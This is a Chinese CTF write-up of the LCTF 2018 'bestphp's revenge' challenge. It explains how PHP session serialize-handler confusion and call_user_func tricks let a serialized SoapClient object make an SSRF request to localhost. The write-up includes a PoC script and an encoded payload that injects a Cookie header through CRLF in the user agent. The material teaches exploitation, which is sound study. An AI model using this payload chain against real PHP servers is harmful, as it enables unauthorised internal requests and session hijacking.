session反序列化+SoapClientSSRF+CRLF

news2024/11/17 22:20:35

文章目录

    • session反序列化+SoapClientSSRF+CRLF
      • 前言
      • bestphp's revenge
        • call_user_func()方法的特性
        • SSRF+CRLF组合拳
        • session反序列化
      • 解题步骤
      • 总结

session反序列化+SoapClientSSRF+CRLF

前言

从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题

bestphp’s revenge

首页是index.php

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

好像没什么利用条件,我们通过目录扫描到

flag.php:

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

看这个代码很明显是SSRF漏洞,我们需要通过ssrf访问:http://127.0.0.1/flag.php将flag写入session文件中,最后访问index.php通过var_dump将flag打印出来

我们接着分析index.php:

call_user_func($args1,$args2)函数可以将执行名为:$args1的函数,并且参数为$args2

我们需要利用SoapClient对象去调用不存在的方法,就会触发__call()方法,从而进行SSRF,将flag写入session。但是怎么才能出发__call()方法?

call_user_func()方法的特性

当使用 call_user_func() 调用一个函数时,可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组,那么数组的第一个元素表示要调用的类或对象,第二个元素表示要调用的方法名

因此,如果我们给call_user_func()传入一个数组,并且第一个元素是SoapClient对象,第二个元素为不存在的方法名,就可以触发SSRF漏洞

这里刚好有一个现成的:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

如果此时$b=call_user_func(),并且$_SESSION的第一个元素是SoapClient对象,那么相当于:

call_user_func(call_user_func,[new SoapClient(...),'welcome_to_the_lctf2018']);
即:
call_user_func([new SoapClient(...),'welcome_to_the_lctf2018'])

调用了SoapClient对象的welcome_to_the_lctf2018()方法,但是该方法不存在,于是就触发了SSRF

如何编写这个SoapClient对象呢?我们此处需要配合CRLF将flag写入指定的session中

SSRF+CRLF组合拳

poc如下:

<?php

$soap = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','user_agent'=>"like\r\nCookie: PHPSESSID=leekos\r\n"
,'uri'=>'aaa'));

echo urlencode(serialize($soap));

# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3A+PHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

我们在SoapClient的参数的数组中加入user_agent头,然后\r\n代表换行,将Cookie 给插入进来,替换为:leekos(这里有一个非常重要的点,需要使用双引号"包裹,否则\r\n不解析)

这样我们的SoapClient对象的序列化串就编写好了,我们稍后会用到它

我们上面提到$b=call_user_func(),怎么做到的?我们可以利用第一个call_user_func()函数,将$_GET['f']=extract$_POST=array('b'=>'call_user_func') 这个extract()函数将$b覆盖为call_user_func

这样当我们的reset($_SESSION)SoapClient对象时就可以触发ssrf

问题来了,怎么让reset($_SESSION)是该对象呢?

session反序列化

查询gpt, PHP 7.0.33,默认的 serialize_handler 将是 PHP 内置的 php

那么如果我们此时的serialize_handler=php_serialize就会将session数据使用serialize()函数进行序列化,如果我们将传入的数据前加入一个|,存入session文件后,文件内容大致格式如下:

xxx|O:10:SoapClient{yyy}

当此时我们serialize_handler=php时,漏洞来了,php处理器会把|前面的都当作键名,会把后面的O:10:SoapClient{yyy}反序列化,刚好还原为SoapClient对象,这时利用链就造好了

怎么让serialize_handler=php_serialize?

可以借助session_start()函数,通过call_user_func()来调用即可

解题步骤

先将序列化数据以php_serialize处理器存储起来

image-20230731015728438

默认php处理器反序列化导致生成SoapClient对象,同时调用不存在方法触发ssrf

image-20230731015828398

最后通过自定义的cookie访问即可:

image-20230731015942859

总结

这一个题目的综合性还是挺强的,感觉挺巧妙,用到了session反序列化,php内置类SSRF+CRLF的技巧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/814163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机毕设 深度学习人体语义分割在弹幕防遮挡上的实现 - python

文章目录 1 课题背景2 技术原理和方法2.1基本原理2.2 技术选型和方法 3 实例分割4 实现效果5 最后 # 1 前言 &#x1f6a9; 深度学习人体语义分割在弹幕防遮挡上的应用 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;3分…

ChatGPT在教育领域的应用:改变学习方式的前沿技术

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

Flutter Add to App 问题记录

前一阵应用中接入了Flutter&#xff0c;使用的是官方的Multiple FlutterEngine管理方案&#xff0c;目前线上运行良好&#xff0c;这里整理一下遇到的问题。 将 Flutter 集成到现有应用整体来说没有什么问题&#xff0c;按照文档的说明结合demo操作就行。接入后多语言&#xf…

【应用层】Http协议总结

文章目录 一、续->Http协议的学习 1.http请求中的get方法和post方法 2.http的状态码 3.http的报头 4.长链接 5.cookie&#xff08;会话保持&#xff09;总结 继续上一篇的内容&#xff1a; 上一篇的最后我们讲到了web根目录&#xff0c;知道…

Git的.gitignore文件、标签管理以及给命令起别名

文章目录 1. 前言2. .gitignore文件3. 标签管理4. 给命令起别名 1. 前言 本文主要讲解Git中容易被忽略但比较重要一些知识:.gitignore文件、标签管理以及给命令起别名. 2. .gitignore文件 在新建仓库时,有一个添加.gitignore 模板: .gitignore 是一个用于指定 Git 忽略特定文…

Mysql第四,五连弹

第四弹 一、&#x1f49b; 主键约束&#xff08;Primary key): 通过这个约束来指定某一个列作为主键&#xff08;1.非空&#xff0c;2.不能重复&#xff09; &#xff0c;主键&#xff1a;一条数据&#xff0c;身份标识&#xff08;类似于内存地址&#xff09; &#x1f604;&a…

Python爬虫Scrapy(二)_入门案例

入门案例 学习目标 创建一个Scrapy项目定义提取的结构化数据(Item)编写爬取网站的Spider并提取出结构化数据(Item)编写Item Pipelines来存储提取到的Item(即结构化数据) 一、新建项目(scrapy startproject) 在开始爬取之前&#xff0c;必须创建一个新的Scrapy项目。进入自定…

计算机毕设 深度学习人体跌倒检测 -yolo 机器视觉 opencv python

文章目录 0 前言1.前言2.实现效果3.相关技术原理3.1卷积神经网络3.1YOLOV5简介3.2 YOLOv5s 模型算法流程和原理4.数据集处理3.1 数据标注简介3.2 数据保存 5.模型训练 6 最后 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题…

[Round#14 Illuminate with your bril]

周末NSS的PWN专题&#xff0c;只作了3个&#xff0c;结束后跟NSS的师傅聊&#xff0c;对方确认了第4题的作法&#xff0c;重作成功。第5题看师傅的WP复现成功。 love 主函数给了个printf&#xff0c;这里可以得到所有地址&#xff0c;并且要求把v4,v5改相等 int __cdecl mai…

Linux 版本的 Abyss Locker 勒索软件针对 VMware ESXi 服务器

Abyss Locker 是最新开发的 Linux 加密器&#xff0c;旨在针对 VMware 的 ESXi 虚拟机平台对企业进行攻击。 随着企业从单个服务器转向虚拟机以实现更好的资源管理、性能和灾难恢复&#xff0c;勒索软件团伙创建了专注于针对该平台的加密器。 随着 VMware ESXi 成为最流行的虚…

UE5 摄像机与NPC重叠阻挡导致视角闪现的解决方法

文章目录 前言问题背景问题剖析摄像机碰撞分析解决方法总结前言 本文基于虚幻5.2.1版本,对摄像机与NPC重叠阻挡导致视角闪现提供一个解决方案,并深入讲解摄像机碰撞原理,提升大家的思维与解决问题的能力。 问题背景 当我们被NPC攻击或者NPC介于摄像机与玩家之间导致摄像机…

小研究 - JVM GC 对 IMS HSS 延迟分析(二)

用户归属服务器&#xff08;IMS HSS&#xff09;是下一代通信网&#xff08;NGN&#xff09;核心网络 IP 多媒体子系统&#xff08;IMS&#xff09;中的主要用户数据库。IMS HSS 中存储用户的配置文件&#xff0c;可执行用户的身份验证和授权&#xff0c;并提供对呼叫控制服务器…

微服务入门---Docker

微服务入门---Docker 1.初识Docker1.1.什么是Docker1.1.1.应用部署的环境问题1.1.2.Docker解决依赖兼容问题1.1.3.Docker解决操作系统环境差异1.1.4.小结 1.2.Docker和虚拟机的区别1.3.Docker架构1.3.1.镜像和容器1.3.2.DockerHub1.3.3.Docker架构1.3.4.小结 1.4.安装Docker 2.…

Flutter环境搭建踩坑集锦

Flutter 背景准备工作先检查一下自己的电脑&#xff0c;看一下是不是满足配置要求下载安装配置环境下载安装JDK下载安装Android studio下载Flutterflutter doctor故障Android license status unknownNetwork resources 故障 后记 背景 发现一个不错的框架Flutter&#xff0c;听…

web题型

0X01 命令执行 漏洞原理 没有对用户输入的内容进行一定过滤直接传给shell_exec、system一类函数执行 看一个具体例子 cmd1|cmd2:无论cmd1是否执行成功&#xff0c;cmd2将被执行 cmd1;cmd2:无论cmd1是否执行成功&#xff0c;cmd2将被执行 cmd1&cmd2:无论cmd1是否执行成…

【C++继承】

目录 一、继承的概念及定义1.1继承的概念1.2继承的定义1.2.1定义格式1.2.2继承方式与访问限定符的组合 二、基类和派生类对象赋值转换三、继承中的作用域四、派生类的默认成员函数五、继承与友元六、继承与静态成员七、复杂的菱形继承及菱形虚拟继承八、虚拟继承的原理 一、继承…

(AcWing)满足条件的01序列

给定 n 个 0 和 n 个 1&#xff0c;它们将按照某种顺序排成长度为 2n 的序列&#xff0c;求它们能排列成的所有序列中&#xff0c;能够满足任意前缀序列中 0 的个数都不少于 1 的个数的序列有多少个。 输出的答案对 10^97 取模。 输入格式 共一行&#xff0c;包含整数 n。 …

Kotlin基础(十):函数进阶

前言 本文主要讲解kotlin函数&#xff0c;之前系列文章中提到过函数&#xff0c;本文是kotlin函数的进阶内容。 Kotlin文章列表 Kotlin文章列表: 点击此处跳转查看 目录 1.1 函数基本用法 Kotlin 是一种现代的静态类型编程语言&#xff0c;它在函数的定义和使用上有一些特点…

软考A计划-系统集成项目管理工程师-项目干系人管理-上

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

简单易用的批量重命名工具,C++语言编写

它具备出色的文件重命名功能,能够让用户轻松对多个文件进行批量重命名操作。不论是添加前缀、后缀,还是替换文件名称中的特定字符,都能轻松完成。此外,该软件体积小巧、操作简单便捷,使用起来的效果出奇好。 MiniRenamer特色功能: 正则命名:支持正则命名规则,并可自定义…